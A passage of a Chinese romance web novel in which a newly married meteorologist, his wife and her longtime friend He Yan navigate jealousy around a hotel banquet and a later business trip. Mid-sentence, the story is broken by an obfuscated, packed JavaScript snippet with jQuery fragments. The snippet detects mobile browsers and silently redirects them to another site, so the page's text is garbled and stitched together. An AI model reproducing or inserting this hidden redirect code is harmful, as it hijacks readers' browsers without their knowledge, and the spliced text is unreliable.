贺延说完马上就挂了电话,陈柏深捏着手机杵在原地,好一会儿才鼓起勇气重新发消息,“需要我去接吗?”
他赌手机会回到赵清扬手上。
消息刚发出去,赵清扬的电话就来了,“你要来吗?”
是赵清扬的声音。他赌对了。
“刚刚我在试衣服,朋友就帮我接了电话。”赵清扬像是生怕他误会什么,事无巨细解释了一长串,“他说想给你发地址,但挂了电话才发现手机没有解锁不能发消息。”
陈柏深:“你这位朋友是贺延?”
赵清扬心里一紧,“……你知道?”
“他刚刚在电话里自我介绍说过。”陈柏深说。
赵清扬松一口气,继续解释,“今晚贺延他妈妈要参加晚宴,我去给她送点东西,刚好办晚宴的那位叔叔我也认识,就临时带上我一起去……我现在在酒店换衣服,你要来吗?那位叔叔人很好说话,而且年轻时候跟你一样也在做气象研究,后来转行做生意,公司还和你们单位有过合作,他叫随应礼,你应该有印象。在场应该也有你的同行,到时候我跟随叔叔说一声,叫随叔叔介绍你们认识。”
随应礼。
原来是这位前辈。
“你要来吗?”赵清扬又问一次,顺便把定位发过去,考虑到陈柏深性格内敛怕他怯场,又体贴补充,“你放心,我会一直陪着你,不会让你落单。”
“你不想来也没关系,结束了我自己打车回去,你早点休息。”
陈柏深看一眼酒店位置,心里瞬间有了底。这家酒店承办过多场座谈会和研讨会,他受邀来过很多次。
陈柏深很快估算好时间,“我对这里不太熟悉,你能在门口接一下我吗?我半小时后到。”
赵清扬为他终于不再闷在家里的勇敢突破感到开心,“好,我现在就下去等你。”
贺延余光瞥见赵清扬提起裙摆要走,问她要去哪。
“我去接个人。”
贺延走过来帮她提裙摆,“门口有人负责引导入场。”
“他可能不适应这种人多的场合。”赵清扬放心不下,“我很快回来。”
“你要接的人是陈柏深?”贺延问。
第一次从贺延口中听到陈柏深的名字,赵清扬心脏没来由漏跳一拍,心虚抬头盯住他双眼,缓慢点头。
“你叫他来干什么?”贺延轻皱眉,语气透出一丝不容忽视的不悦。
“我.....”
“我妈邀请的是你,不是他。”
赵清扬后知后觉自己行为越界,掏出手机让陈柏深先别来,贺延却又一把按住她的手,“算了,他要来就来吧,多他一个不多。”
说完,电梯门开,贺延把裙摆往地上一放,从口袋里掏出烟盒,示意她先走。
赵清扬心里不是滋味,进了电梯后没按楼层,犹豫几秒后重新按开了门,贺延身边却已经多了一个同样西装革履的孟畅。
贺延指间夹着烟,单手撑在窗边吐出一团烟雾,“……我妈闲着没事干啊,专门介绍他们夫妻俩给随应礼认识?不知道的还以为陈柏深是她儿子。”
“让他来还真来,这里除了赵清扬谁认识他?真特么把自己当回事。”
“你真不懂清扬什么意思?你把人家拐到这里不让人走,她不叫陈柏深来,难不成跟你一起被别人误会你俩是一对?”孟畅说,“随叔本来就喜欢认识年轻人扶持晚辈,你妈也不见得小气到这种地步,就你一肚子火。”
贺延抖抖烟灰,单手解开领口两颗扣子,冷哼一声,眼睛望进无边夜色,没答话。
孟畅也点了根烟,“你觉不觉得陈柏深这个名字很耳熟?”
“听到就烦。”
孟畅失笑,“人家喜欢你的时候你不在乎,现在人家结婚了你又不乐意。”
贺延静静看他两秒,“……跟你说话也烦。”
话不投机半句多,贺延转身要走,赵清扬怕他发现自己,赶紧退回电梯间猛按关门键。
贺延转头瞥见电梯门缝里一闪而过的艳红裙摆,果断掐灭了烟,三两步走过去硬生生掰开电梯门,目光锁定里面的赵清扬。
慌乱却强装镇定的模样,明显不搭他费尽心思为她定制的明艳红裙。一字肩礼裙剪裁得当,勾勒出诱人曲线,贺延的目光却不受控落在她腹部。
貌似还不明显。
可什么时候连陈柏深那种书呆子也值得她挂心了?学生时代一次正眼都没瞧过的路人,在他出国没几年之后就跟她结了婚。
明明拿不出手,她却愿意结婚。
匆忙得来不及告诉朋友,没有办婚礼,甚至没有婚戒,却和陈柏深成了法律上的夫妻。
除了奉子成婚,还能因为什么?
早在一开始他就该想到。而不是挂掉陈柏深电话后看到那条孕检中心预约成功的短信之后还在这里自欺欺人。
孟畅见贺延脑袋不清醒,被门夹了也不知道松手,赶紧过来拉他,“你干什么你?门都要关了你还挡?”
贺延抽回被夹肿的手,最后再看一眼里面的赵清扬,任由电梯门重新合上,“没什么,我以为能赶上。”
“错过就算了。”
——
今晚路况良好,没有遇到塞车,陈柏深提前十分钟到达酒店,把钥匙交给泊车员,走进大堂后才远远看到赵清扬一个人坐在角落的沙发里摆弄手机。
妆容精致衣着华丽,脸色却不好。
下一秒,口袋里手机震动,他收到她的消息,“要不你别来了。”
瞬间又撤回,换成:“你到哪里了?”
陈柏深站在原地,隔了两分钟见她没有再撤回,这才回复,“怎么了?”
赵清扬低头对着屏幕编辑了许久,他才收到一条简短的消息,“我身体有点不舒服,想回家。”
“哪里不舒服?”
“头晕。”
“我去接你。”
“好。”
转身重新走出酒店大门,陈柏深拿回钥匙把车开到附近药店门口停好,这才给赵清扬打电话叫她出来。
赵清扬没坐副驾驶,闷闷钻进后座,见陈柏深也换上正装系了领带,第一句话是向他道歉,“不好意思,害你白跑一趟。”
“没事,我下午有会,开完会刚好赶来。头还晕吗?要不要去拿药?”
“不用,我睡一会儿就好。”
“吃饭了吗?”
“没胃口。”
回到家时刚好开始下雨,赵清扬卸掉脸上花费了两个多小时的妆容,一言不发进浴室洗澡,洗完了静静坐到他床上。
陈柏深给她熬了开胃的粥,端进房间让她填填肚子,赵清扬没说什么,拿起勺子一口接一口抿,陈柏深拉紧了窗帘,从浴室拿来吹风机,调好温度和风速,站在后面给她吹头发。
赵清扬喝粥的动静很轻,整个房间只有徐徐的风声。很快,赵清扬察觉到了异样,“今天好像没有闪电,雷声也小了点。”
“我装了遮光窗帘,可能也起到了一点隔音作用。”陈柏深捏着她湿润的头发解释说,“明天有师傅来安装专门的隔音材料,看能不能起效果。”
赵清扬没想到他为了不和她一起睡,恨不得把整个房子都改造一遍,于是没再接话,继续静静喝粥。
何必这么心急呢,她认识陈柏深还不到两个月。
她和贺延认识了十几年,不也什么都没发生。
头发吹干,赵清扬刚好也喝完粥,端着空碗转过身来问陈柏深是不是还没吃饭。
陈柏深知道她这是饿了,收好吹风机,进厨房打开冰箱开始找食材,“想吃什么?”
“都行。”赵清扬心里空落落,环顾四周只想找点什么东西填补贺延的位置。既然已经错过,总不能一直空缺。
吃点东西也好,找个什么人抱一抱也好。
越过岛台从背后抱住陈柏深,赵清扬把脸埋进他的白衬衫里,深深吸一口气。
没有特制的香水味,还是熟悉的、令人安心的干净味道。和高中时候的贺延一样。
陈柏深空不出手扒开她,却也不奇怪她突如其来的亲昵行为,赵清扬便像树袋熊一样安安静静贴在他后背走来走去备食材和佐料。等要开火了,陈柏深才叫她松手,小心溅到热油。
赵清扬不想松开,拿脸蹭他挺直的背脊,“我不松手。你想想办法。”
陈柏深于是把计划要炒的鸡胸肉放进砂锅,加入佐料去焖。但盖上锅盖时,电话又响了起来。
陈柏深垂眸。和今天中午一样。
故事重演,贺延又要把她从他身边带走了。
这次会是什么借口?让她把那条华美的裙子还回去,然后趁机霸占她的时间,还是直截了当把她叫走?
然而意料之外,赵清扬没去接电话,反而将他抱得更紧。
铃声单调,响过一轮又一轮,仿佛专为他们独处而播放的背景音。陈柏深心里尘埃落定,转过身来劝她,“先去接电话吧,说不定有急事。”
赵清扬松开他,却在饭桌前坐了下来,“我来看火,你去帮我接。”
陈柏深没说什么,解下围裙走到沙发旁,拿起手机按下接听键,“喂?”
电话那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419269|184754||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头的人似乎没想到是他来接电话,好一会儿才开口,“我找赵清扬。”
陈柏深正要回话,却突然被一股力量推倒在沙发,猝不及防差点连手机都摔出去。贺延听出他这边的异样,语气迟疑,“她在家吗?”
陈柏深盯着面无表情跨坐到他面前的赵清扬,大脑一片空白,张着嘴说不出话。
贺延自从电话接通后就一直没得到回应,逐渐不耐烦,“喂?”
赵清扬捧起陈柏深的脸,眼神向下落在他唇上,贺延远在电话另一头,却仿佛看穿了她幼稚的挑衅,气势突然颓丧,说话也软,“我找她没什么事。她刚说要去楼下接人,但我等了很久,一直没等到她回来,有点担心,就打电话来问问......她没事就好。”
“你……照顾好她。”
电话自然挂断,赵清扬深吸一口气,双手撑在陈柏深肩膀,终究没能吻下去。
——
不知道是不是巧合,第二天一早陈柏深就接到了要去临市出差的通知。
赵清扬装作没事人,努力不让自己去怀疑这是陈柏深为了躲她而找的借口,边低头吃早饭边问他这一趟要去多久。
陈柏深把手机文件打开来给她看,为期三天的工作培训计划表排得满满当当,实地考察、学校讲座、企业交流......赵清扬扫过一眼,直接把目光放在结束时间那一栏。
等第三天培训完都已经晚上九点半,而从临市回来至少要两个小时的车程,不出意外,他们这一班人最早会等到第四天再回来。
孟畅的生日会就在第三天晚上,看来她不用和陈柏深解释也能到场。
不过,陈柏深这几天不在家也有坏处。赵清扬清清嗓子,“你不在家这几天,我能叫我朋友来家里陪我吗?”
说完又很快补充,“是女的。”
话一出口,赵清扬就意识到自己根本就是多此一举。难不成她还能趁陈柏深不在,叫个男人来陪自己睡觉?
陈柏深倒没想太多,知道这几日天气恶劣,知道她晚上需要人陪,自然答应,“没关系,可以住进来。”
赵清扬也客气如初,“你放心,我们不会进你房间。”
傍晚,陈柏深提着行李箱前脚刚走,盛奕乔头顶一副墨镜就进来了,赵清扬还在房间里对着电脑处理工作,没空抽身,扬声叫她自便。
盛奕乔给自己倒了水,端着水杯一个房间接一个房间巡查,等赵清扬反应过来,她已经把陈柏深的房间看得彻彻底底。
“没想到陈柏深还挺爱干净的嘛,一点喜欢你的痕迹都没留下。”
赵清扬没空理会她的胡思乱想,赶紧把她拎出来,顺手关门,“这是人家隐私,你别随便乱走。”
“他不关门又不锁门,我以为没人住。”盛奕乔无辜道。
赵清扬拿她没办法,点开外卖软件递给她,很快又坐回去继续对着电脑工作,“想吃什么自己点。”
盛奕乔于是接过她手机,盘腿坐到床上开始挑选,还没挑几分钟,陈柏深就来了消息,说冰箱里有食材,他都已经处理过,酱料也准备齐全,她把东西放进锅里按下开关煮就好。
盛奕乔懒洋洋告诉赵清扬,“陈柏深给你发消息,说他准备好了食材。”
赵清扬专注工作,也不知道听没听进去,“嗯。”
盛奕乔:“我帮你回他?”
赵清扬还是一声模糊的“嗯”。
盛奕乔于是替她打字回复:“行。”
陈柏深:“有什么不明白的可以问我。”
盛奕乔心说做个饭能有多大难度,利索下床去翻冰箱准备动手做一次晚饭,谁知看到满满一冰箱的蔬菜瓜果肉,顿时花了眼,“你说的里脊肉是哪个?”
陈柏深发过来一份文件。盛奕乔打开来看,发现里面有每一层食材的照片,每一样食材都用文字标明了名称和做法还有搭配。
一个个搭配单拎出来没什么特别,但排列在一起就显得别有用心。盛奕乔后知后觉文件里列举的都是赵清扬偏好的菜式,夸奖信手拈来,“你真细心。”
盛奕乔扪心自问,这句夸奖不掺半点水分。陈柏深和赵清扬认识不到两个月,却能在赵清扬每次“吃什么都行”的回应下精准筛选出她的喜好,不得不说观察力惊人。
毕竟关于赵清扬喜欢吃什么这件事,她作为她最好的朋友,摸索了多年才得出经验。
观察力敏锐如陈柏深立马认出回复她的不是赵清扬本人,“你是清扬的朋友吗?”
盛奕乔马上自报姓名,“我叫盛奕乔。还记得我吗?”
陈柏深不回消息了。